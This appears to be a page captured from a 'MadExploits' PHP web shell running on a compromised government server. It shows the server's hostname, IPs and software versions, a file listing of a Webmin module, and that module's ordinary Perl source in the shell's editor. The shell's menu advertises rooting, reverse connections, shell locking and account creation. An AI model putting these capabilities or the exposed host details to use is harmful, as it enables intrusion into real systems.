Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.05
KB
-rw-r--r--
add.cgi
2.48
KB
-rwxr-xr-x
cluster-webmin-lib.pl
7.29
KB
-rwxr-xr-x
config
25
B
-rw-r--r--
config.info
108
B
-rw-r--r--
config.info.ca
135
B
-rw-r--r--
config.info.ca.UTF-8
137
B
-rw-r--r--
config.info.cz
71
B
-rw-r--r--
config.info.cz.UTF-8
79
B
-rw-r--r--
config.info.de
129
B
-rw-r--r--
config.info.de.UTF-8
129
B
-rw-r--r--
config.info.es
87
B
-rw-r--r--
config.info.es.UTF-8
87
B
-rw-r--r--
config.info.fr
75
B
-rw-r--r--
config.info.fr.UTF-8
77
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms_MY
131
B
-rw-r--r--
config.info.ms_MY.UTF-8
131
B
-rw-r--r--
config.info.nl
131
B
-rw-r--r--
config.info.nl.UTF-8
131
B
-rw-r--r--
config.info.no
131
B
-rw-r--r--
config.info.no.UTF-8
131
B
-rw-r--r--
config.info.pl
119
B
-rw-r--r--
config.info.pl.UTF-8
122
B
-rw-r--r--
create_group.cgi
3.11
KB
-rwxr-xr-x
create_user.cgi
3.95
KB
-rwxr-xr-x
delete_group.cgi
3.22
KB
-rwxr-xr-x
delete_host.cgi
248
B
-rwxr-xr-x
delete_mod.cgi
4.17
KB
-rwxr-xr-x
delete_user.cgi
2.15
KB
-rwxr-xr-x
edit_acl.cgi
3.94
KB
-rwxr-xr-x
edit_config.cgi
2.13
KB
-rwxr-xr-x
edit_group.cgi
6.35
KB
-rwxr-xr-x
edit_host.cgi
4.46
KB
-rwxr-xr-x
edit_mod.cgi
7
KB
-rwxr-xr-x
edit_user.cgi
8.96
KB
-rwxr-xr-x
group_form.cgi
2.98
KB
-rwxr-xr-x
index.cgi
9.46
KB
-rwxr-xr-x
install.cgi
7.67
KB
-rwxr-xr-x
module.info
227
B
-rw-r--r--
module.info.ca
171
B
-rw-r--r--
module.info.ca.UTF-8
190
B
-rw-r--r--
module.info.cz
33
B
-rw-r--r--
module.info.cz.UTF-8
39
B
-rw-r--r--
module.info.de
160
B
-rw-r--r--
module.info.de.UTF-8
172
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.UTF-8
42
B
-rw-r--r--
module.info.fr
35
B
-rw-r--r--
module.info.fr.UTF-8
41
B
-rw-r--r--
module.info.hu
33
B
-rw-r--r--
module.info.hu.UTF-8
39
B
-rw-r--r--
module.info.ms_MY
157
B
-rw-r--r--
module.info.ms_MY.UTF-8
169
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.UTF-8
39
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.UTF-8
38
B
-rw-r--r--
module.info.pl
163
B
-rw-r--r--
module.info.pl.UTF-8
180
B
-rw-r--r--
refresh.cgi
4.08
KB
-rwxr-xr-x
save_acl.cgi
3.33
KB
-rwxr-xr-x
save_config.cgi
1.33
KB
-rwxr-xr-x
save_group.cgi
4.54
KB
-rwxr-xr-x
save_user.cgi
5.24
KB
-rwxr-xr-x
sync.cgi
4
KB
-rwxr-xr-x
sync_form.cgi
1.8
KB
-rwxr-xr-x
update.cgi
4.1
KB
-rwxr-xr-x
upgrade.cgi
15.25
KB
-rwxr-xr-x
user_form.cgi
4.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_mod.cgi
#!/usr/bin/perl # edit_mod.cgi # Display details of a module or theme require './cluster-webmin-lib.pl'; &ReadParse(); $type = $in{'tedit'} || !$in{'mod'} ? 'theme' : 'mod'; $name = $in{$type}; &ui_print_header(undef, $text{"edit_title_$type"}, ""); # Find all hosts with the module or theme @hosts = &list_webmin_hosts(); @servers = &list_servers(); foreach $h (@hosts) { local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers; foreach $m ($type eq 'theme' ? @{$h->{'themes'}} : @{$h->{'modules'}}) { if ($m->{'dir'} eq $name) { $s->{'module'} = $m; push(@got, $s); push(@goth, $h); $mod = $m if (!$mod); if (!$checkon && ($s->{'id'} == $in{'host'} || !$s->{'id'} && !defined($in{'host'}))) { $checkon = $s; $checkonh = $h; } } } } # Get the details from this host, or the first in the list if (!$checkon) { $checkonh = $goth[0]; $checkon = $got[0]; } #&remote_foreign_require($checkon->{'host'}, "software", "software-lib.pl"); #@pinfo = &remote_foreign_call($checkon->{'host'}, "software", "package_info", # $in{'package'}); # Show module/theme details print "<table border width=100%>\n"; print "<tr $tb> <td><b>",&text("edit_header_$type", &server_name($checkon)), "</b></td> </tr>\n"; print "<tr $cb> <td><table width=100%>\n"; print "<tr> <td><b>$text{'edit_desc'}</b></td>\n"; print "<td>",$mod->{'desc'},"</td>\n"; print "<td><b>$text{'edit_ver'}</b></td>\n"; print "<td>",$mod->{'version'} ? $mod->{'version'} : $text{'edit_nover'},"</td> </tr>\n"; if ($type eq 'mod') { # Show details of module foreach $m (@{$checkonh->{'modules'}}) { $modmap{$m->{'dir'}} = $m; foreach $d (split(/\s+/, $m->{'depends'})) { push(@{$ondeps{$d}}, $m); } } &read_file("$config_directory/webmin.catnames", \%catnames); print "<tr> <td><b>$text{'edit_cat'}</b></td>\n"; $c = $mod->{'category'}; print "<td>",$catname{$c} ? $catname{$c} : $text{"category_$c"} ? $text{"category_$c"} : $text{"category_"},"</td>\n"; print "<td><b>$text{'edit_dir'}</b></td>\n"; if ($checkon->{'id'}) { print "<td><tt><a href='/servers/link.cgi/$checkon->{'id'}/", "$mod->{'dir'}/'>$mod->{'dir'}</a></tt></td> </tr>\n"; } else { print "<td><tt><a href='/$mod->{'dir'}/'>$mod->{'dir'}</a>", "</tt></td> </tr>\n"; } # Show operating systems print "<tr> <td valign=top><b>$text{'edit_os'}</b></td>\n"; print "<td colspan=3>\n"; $oss = $mod->{'os_support'}; if (!$oss) { print $text{'edit_osall'}; } else { open(OSLIST, "$root_directory/os_list.txt"); while(<OSLIST>) { chop; if (/^([^\t]+)\t+([^\t]+)\t+(\S+)\t+(\S+)\t*(.*)$/) { $osname{$3} ||= $1; } } close(OSLIST); $osname{"*-linux"} = "Linux"; while(1) { local ($os, $ver, $codes); if ($oss =~ /^([^\/\s]+)\/([^\{\s]+)\{([^\}]*)\}\s*(.*)$/) { $os = $1; $ver = $2; $codes = $3; $oss = $4; } elsif ($oss =~ /^([^\/\s]+)\/([^\/\s]+)\s*(.*)$/) { $os = $1; $ver = $2; $oss = $3; } elsif ($oss =~ /^([^\{\s]+)\{([^\}]*)\}\s*(.*)$/) { $os = $1; $codes = $2; $oss = $3; } elsif ($oss =~ /^\{([^\}]*)\}\s*(.*)$/) { $codes = $1; $oss = $2; } elsif ($oss =~ /^(\S+)\s*(.*)$/) { $os = $1; $oss = $2; } else { last; } print " , \n" if ($doneone++); $osn = $osname{$os} ? $osname{$os} : $os; $osn =~ s/\s/ /g; if ($ver) { print "$osn $ver"; } elsif ($os) { print "$osn"; } if ($codes) { $codes =~ s/\s/ /g; if ($os) { print " (",&text('edit_codes', "<tt>$codes</tt>"),")"; } else { print &text('edit_codes', "<tt>$codes</tt>"); } } } } print "</td> </tr>\n"; # Show which modules this module depends upon local @deps = grep { !/^[0-9\.]+$/ } split(/\s+/, $mod->{'depends'}); local @pdeps = split(/\s+/, $mod->{'perldepends'}); print "<tr> <td valign=top><b>$text{'edit_deps'}</b></td>\n"; print "<td valign=top>\n"; if (@deps || @pdeps) { foreach $d (@deps) { local $mm = $modmap{$d}; print $mm->{'desc'}," (<tt>$mm->{'dir'}</tt>)<br>\n"; } foreach $d (@pdeps) { print &text('edit_pdep', "<tt>$d</tt>"),"<br>\n"; } } else { print "$text{'edit_nodeps'}\n"; } print "</td>\n"; # Show which other modules depend on this one print "<td valign=top><b>$text{'edit_ondeps'}</b></td>\n"; print "<td valign=top>\n"; if ($ondeps{$mod->{'dir'}}) { foreach $d (@{$ondeps{$mod->{'dir'}}}) { print $d->{'desc'}," (<tt>$d->{'dir'}</tt>)<br>\n"; } } else { print "$text{'edit_nodeps'}\n"; } print "</td> </tr>\n"; } else { # Show details of theme } print "</table></td></tr></table><p>\n"; print "<table width=100%><tr>\n"; # Show button to delete module print "<td><form action=delete_mod.cgi>\n"; print "<input type=hidden name=type value=\"$type\">\n"; print "<input type=hidden name=mod value=\"$name\">\n"; print "<input type=submit value='",$text{"edit_uninst_$type"},"'>\n"; print "<select name=server>\n"; print "<option value=-1>$text{'edit_all'}</option>\n"; foreach $s (@got) { print "<option value='$s->{'id'}'>",&server_name($s),"</option>\n"; } print "</select></form></td>\n"; if ($type eq 'mod') { # Show button to edit config print "<td><form action=edit_config.cgi>\n"; print "<input type=hidden name=type value=\"$type\">\n"; print "<input type=hidden name=mod value=\"$name\">\n"; print "<input type=submit value='$text{'edit_config'}'>\n"; &create_on_input(undef, 1, 0, 0); print "</form></td>\n"; } if ($type eq 'mod') { # Show user/group ACL selector print "<td align=right><form action=edit_acl.cgi>\n"; print "<input type=hidden name=mod value=\"$name\">\n"; print "<input type=hidden name=host value=\"$checkonh->{'id'}\">\n"; print "<input type=submit value='$text{'edit_acl'}'>\n"; print "<select name=whohost>\n"; for($i=0; $i<@goth; $i++) { $h = $goth[$i]; local %ingroup; foreach $g (@{$h->{'groups'}}) { map { $ingroup{$_}++ } @{$g->{'members'}}; } local $d = &server_name($got[$i]); foreach $u (@{$h->{'users'}}) { local @m = $ingroup{$u->{'name'}} ? @{$u->{'ownmods'}} : @{$u->{'modules'}}; print "<option value='$h->{'id'},$u->{'name'}'>", &text('edit_uacl', $u->{'name'}, $d),"</option>\n" if (&indexof($name, @m) >= 0); } foreach $g (@{$h->{'groups'}}) { local @m = $ingroup{$g->{'name'}} ? @{$g->{'ownmods'}} : @{$g->{'modules'}}; print "<option value='$h->{'id'},$g->{'name'}'>", &text('edit_gacl', $g->{'name'}, $d),"</option>\n" if (&indexof($name, @m) >= 0); } } print "</select></form></td>\n"; } print "</tr></table>\n"; # Show hosts with the module or theme print &ui_hr(); print &ui_subheading($text{'edit_hosts'}); @icons = map { "/servers/images/$_->{'type'}.gif" } @got; @links = map { "edit_host.cgi?id=$_->{'id'}" } @got; @titles = map { &server_name($_). ($_->{'module'}->{'version'} ? " ($text{'host_version2'} $_->{'module'}->{'version'})" : "") } @got; &icons_table(\@links, \@titles, \@icons); print "<br>"; &remote_finished(); &ui_print_footer("", $text{'index_return'});
Close